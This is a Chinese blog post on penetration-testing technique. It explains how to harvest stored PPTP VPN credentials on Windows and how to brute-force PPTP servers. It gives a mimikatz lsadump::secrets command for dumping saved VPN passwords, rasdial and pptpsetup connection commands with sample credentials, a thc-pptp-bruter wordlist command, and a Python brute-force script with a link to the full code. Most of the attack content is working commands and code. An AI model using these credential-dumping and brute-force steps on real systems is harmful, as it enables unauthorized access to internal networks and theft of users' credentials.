渗透技巧——PPTP 口令的获取与爆破

发布于 2024-11-28 06:20:12 字数 5802 浏览 2 评论 0

0x00 前言

PPTP (即点对点隧道协议) 可以使远程用户通过拨入 ISP 访问企业内网。在渗透测试中,如果获得了用户的 PPTP 口令,就能远程拨入内网,做进一步渗透。本文将要介绍命令行下导出 PPTP 配置信息和口令的方法,开源 PPTP 口令爆破的脚本

0x01 简介

本文将要介绍以下内容:

  • Windows 系统命令行下 PPTP 配置信息和口令的获取
  • Windows 系统命令行开启和关闭 VPN 连接
  • Windows 系统连接 PPTP 的方法和细节
  • Kali 系统连接 PPTP 的方法和细节
  • PPTP 口令爆破的脚本细节

0x02 Windows 系统命令行下 PPTP 配置信息和口令的获取

1、获取 PPTP 配置信息

Windows 系统拨号和宽带连接的配置信息存储在固定位置,路径如下:%APPDATA%\Microsoft\Network\Connections\Pbk\rasphone.pbk

查看该文件即可获得 PPTP 连接的配置信息,包括服务器 IP,不包含连接用户名和口令

VPN 连接的名称为 VPN Connection ,如下图

Alt text

PhoneNumber 表示连接的服务器 IP,如下图

Alt text

2、获得内网 IP

ipconfig

获得内网 IP,如下图

Alt text

3、获得 PPTP 口令

使用工具 mimiaktz,命令如下:

mimikatz.exe privilege::debug token::elevate lsadump::secrets exit

获得连接用户名和口令,如下图

Alt text

4、命令行下连接 VPN

rasdial "VPN Connection" zhaodg oZ7iFk25

如下图

Alt text

5、命令行关闭 VPN 连接

rasphone -h "VPN Connection"

0x03 Windows 系统 PPTP 连接的方法和细节

1.

Alt text

2.

Alt text

3.

Alt text

4.选择创建新连接

5.填入服务器 IP,选中稍后连接

Alt text

6.填入用户名口令

7.点击连接后,选择跳过

接下来修改 VPN 属性, Security -> Type of VPN ,选择 Point to Point Tunneling Protocol(PPTP)

Alt text

注:

创建成功后,指定 Point to Point Tunneling Protocol(PPTP) 可缩短连接等待的时间

8.连接

0x04 Kali 系统 PPTP 连接的方法和细节

方法 1:通过界面

1.安装

apt-get install network-manager-pptp network-manager-pptp-gnome

2.

Settings -> Network -> VPN

Alt text

3.

Identity -> Advanced...

去掉 PAP,CHAP,EAP

选择 Use Point-to-Point encryption(MPPE)

Alt text

注:如果无法连接,修改文件 /etc/NetworkManager/NetworkManager.conf

managed=false 修改成 managed=true

重启系统

方法 2:通过 pptpsetup

1.连接

pptpsetup --create vpn --server 5x.xxx.xxx.xx2 --username zhaodg --password oZ7iFk25 --encrypt --start

远程 IP 为 192.168.0.1,如下图

Alt text

2.修改路由表

将默认路由表修改为远程 IP

route del default
route add default gw 192.168.0.1

0x05 PPTP 口令爆破

PPTP 服务器默认开放 1723 端口

1、PPTP brute forcer

源代码:https://github.com/BlackArch/thc-pptp-bruter

kali 默认支持

通过字典爆破的命令如下:

cat wordlist | thc-pptp-bruter -u zhaodg <IP>

如下图

Alt text

注:PPTP 搭建于 centos

2、编写 python 脚本实现

有些设备的 PPTP 无法使用 PPTP brute forcer 进行爆破

于是尝试使用 python 调用 pptpsetup 实现

通过 os.popen 执行命令,测试代码如下:

import os
def test_vpn(ip,name,password):
    command = 'pptpsetup --create testvpn --server '+ip+' --username '+name+' --password '+password+' --encrypt --start'
    print command
    vpn_status =  os.popen(command).read()
    print vpn_status

if __name__ == '__main__':
    test_vpn('5x.xxx.xxx.xx2','zhaodg','oZ7iFk25')

测试过程中出现 bug:如果登录成功,进程 pptp 不会退出,导致脚本阻塞,无法获得回显,只有结束进程 pptp 后,才能获得回显

所以这里需要使用子进程的方式实现:子进程执行 pptpsetup 命令,父进程不等待

随之产生新的问题:如何获得子进程的结果,判断是否登录成功

这里选择一个简单直接的方法:等待 10 秒,然后执行 ifconfig,如果登录成功,会产生新的网卡设备 ppp0 ,否则,当前用户名口令错误

登录成功后,选择清理进程,执行命令:

pkill pptp

清除连接信息:

pptpsetup --delete testvpn

完整代码可参考:https://github.com/3gstudent/Homework-of-Python/blob/master/pptp_password_hack.py

代码会读取文件 wordlist,获得口令字典,对指定 IP 尝试连接,连接成功后记录口令,清除进程和连接

测试如下图

Alt text

0x06 小结

本文介绍了命令行下导出 PPTP 配置信息和口令的方法,通过命令行能够实现开启和关闭 VPN 连接。实例演示了 Windows 和 Kali 系统连接 PPTP 的方法,最后开源了调用 pptpsetup 实现 PPTP 口令爆破的脚本,分析脚本实现细节。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

预谋

暂无简介

文章
评论
25 人气
更多

推荐作者

hncloud

文章 0 评论 0

13545243122

文章 0 评论 0

探春

文章 0 评论 0

樱桃奶球

文章 0 评论 0

LR

文章 0 评论 0

J.smile

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文